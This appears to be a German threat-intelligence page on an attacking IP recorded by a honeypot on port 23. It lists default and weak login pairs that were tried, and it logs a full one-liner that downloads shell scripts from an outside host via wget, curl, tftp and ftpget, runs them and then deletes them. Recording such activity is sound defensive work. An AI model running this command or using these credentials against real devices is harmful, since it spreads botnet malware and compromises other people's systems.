⚠TROYANOSYVIRUS
Aktive Bedrohung • NIEDRIG

65.20.67.58

Herkunftsland🇮🇳 India
Erste Erkennung22.2.2026
Letzte Aktivitat22.2.2026
ISPThe Constant Company, LLC
🎯
64
Gesamtangriffe
🔌
1
Ports
📡
1
Angriffsarten
🦠
2
Malware

Geolokalisierung

Land
🇮🇳 India
Stadt
Mumbai
ASN
AS20473
ISP
The Constant Company, LLC

Angriffsarten

cowrie

Angegriffene Ports

23

Zugehorige Malware

89d501cec9843394ee88...→e3b0c44298fc1c149afb...→

Versuchte Anmeldedaten

🔐admin/(leer)
1x
🔐ubnt/ubnt
1x
🔐root/(leer)
1x
🔐root/1234
1x
🔐root/admin
1x
🔐admin/123456
1x
🔐admin/VnT3ch@dm1n
1x

Ausgefuhrte Befehle

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -qO- http://139.59.119.89/ohshit.sh | sh; curl -s http://139.59.119.89/ohshit.sh | sh; wget http://139.59.119.89/ohshit.sh -O ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 139.59.119.89 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 139.59.119.89; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.119.89 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit2.sh 1x

Risikobewertung

35
/100
NiedrigMittelHochKritisch